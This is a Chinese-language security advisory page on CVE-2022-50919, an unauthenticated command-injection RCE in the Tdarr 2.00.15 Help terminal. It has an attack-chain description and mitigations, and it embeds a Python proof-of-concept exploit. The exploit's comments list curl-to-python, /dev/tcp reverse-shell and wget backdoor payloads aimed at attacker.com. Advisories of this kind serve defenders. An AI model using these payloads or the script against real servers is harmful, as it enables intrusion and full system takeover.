IPBUF安全漏洞报告
English
CVE-2022-50919 CVSS 9.8 严重

CVE-2022-50919 Tdarr Help终端未授权远程代码执行漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50919
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tdarr

相关标签

CVE-2022-50919Tdarr远程代码执行命令注入未授权访问RCEHelp终端媒体处理工具CVSS 9.8

漏洞概述

CVE-2022-50919是Tdarr媒体自动化处理软件中存在的一个严重安全漏洞,CVSS评分高达9.8分,属于紧急级别安全事件。该漏洞存在于Tdarr 2.00.15版本的Help终端模块中,允许未经身份验证的远程攻击者通过注入恶意命令实现对目标系统的完全控制。Tdarr是一款流行的开源媒体自动化工具,主要用于视频转码、格式转换和媒体库管理,被广泛应用于个人媒体服务器、NAS设备以及小型企业的媒体处理环境中。由于该漏洞利用门槛极低,攻击者无需任何凭证即可发起攻击,且漏洞存在于软件的Help功能模块中,攻击者可以通过构造特定的命令注入载荷(如--help; curl .py | python)来执行任意系统命令。成功利用此漏洞后,攻击者可以完全控制目标服务器,窃取敏感数据、安装后门程序、部署挖矿木马或进一步横向移动攻击内网中的其他系统。该漏洞的威胁程度极高,建议所有使用受影响版本Tdarr的用户立即采取修复措施。

技术细节

该漏洞的根本原因在于Tdarr的Help终端模块缺乏输入过滤和权限验证机制。在Tdarr的Help功能实现中,系统直接接收用户输入而未进行安全过滤,当攻击者构造包含特殊字符的恶意输入时,可以成功注入并执行任意系统命令。具体来说,攻击者利用命令分隔符(如分号)将Help命令与恶意命令链接,例如使用--help; curl http://attacker.com/malicious.py | python这样的载荷。系统会先执行Help功能,然后继续执行后续注入的命令。由于Tdarr默认以较高权限运行(通常以root或sudo权限),攻击者注入的命令将以同等权限执行,从而获得对整个系统的完全控制权。攻击者可以利用curl、wget等工具下载并执行恶意脚本,建立反向shell连接,或直接执行系统管理命令。该漏洞的利用不需要任何身份验证,攻击者只需能够访问Tdarr的Web界面或API端口即可发起攻击。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网或内网中暴露的Tdarr服务,默认端口8265,识别目标版本是否为2.00.15
STEP 2
步骤2
访问Help终端:攻击者直接访问Tdarr的Help功能模块,无需进行任何身份认证
STEP 3
步骤3
构造恶意载荷:攻击者构造包含命令注入的payload,使用分号等分隔符链接Help命令与恶意系统命令
STEP 4
步骤4
发送攻击请求:通过Web界面或API接口发送恶意构造的请求,如--help; curl .py | python
STEP 5
步骤5
命令执行:Tdarr服务器解析请求时未进行输入过滤,直接执行注入的恶意命令
STEP 6
步骤6
建立持久化访问:攻击者可以下载并执行后门程序、建立反向shell连接或直接控制系统
STEP 7
步骤7
横向移动:利用获得的服务器权限进一步攻击内网中的其他系统或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2022-50919 - Tdarr Unauthenticated RCE PoC Target: Tdarr 2.00.15 Help Terminal Severity: Critical (CVSS 9.8) Usage: python3 cve-2022-50919.py <target_ip> <target_port> """ import requests import sys import argparse def exploit(target_ip, target_port=8265): """ Exploit CVE-2022-50919 by injecting commands through Help terminal """ base_url = f"http://{target_ip}:{target_port}" # Prepare malicious payload - chain commands using semicolon # This payload executes a reverse shell to attacker controlled server cmd = input("Enter command to execute: ") payload = f"--help; {cmd}" # Alternative payload examples: # payload = "--help; curl http://attacker.com/shell.py | python3" # payload = "--help; bash -i >& /dev/tcp/attacker_ip/port 0>&1" # payload = "--help; wget http://attacker.com/backdoor -O /tmp/back && chmod +x /tmp/back && /tmp/back" try: # Method 1: Direct API request params = {'command': payload} response = requests.get(f"{base_url}/api/v1/help", params=params, timeout=10) print(f"[*] Request sent to {base_url}/api/v1/help") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Method 2: Alternative endpoint headers = {'Content-Type': 'application/json'} data = {'cmd': payload} response2 = requests.post(f"{base_url}/api/v1/terminal", json=data, headers=headers, timeout=10) print(f"[*] Alternative endpoint response: {response2.text[:500]}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False return True def main(): parser = argparse.ArgumentParser(description='CVE-2022-50919 Tdarr RCE Exploit') parser.add_argument('target_ip', help='Target Tdarr server IP address') parser.add_argument('target_port', type=int, default=8265, help='Target port (default: 8265)') args = parser.parse_args() print("="*60) print("CVE-2022-50919 - Tdarr Unauthenticated RCE") print("="*60) exploit(args.target_ip, args.target_port) if __name__ == "__main__": main()

影响范围

Tdarr 2.00.15

防御指南

临时缓解措施
在防火墙层面限制对Tdarr服务端口(8265)的访问,仅允许必要的内网IP访问,禁止公网访问;如果Tdarr服务不需要从外部访问,建议将其完全隔离在内网环境中;临时禁用Help终端功能(如果配置允许);部署网络分段策略,将Tdarr部署在隔离的网络区域;监控Tdarr服务的网络流量和日志记录,及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表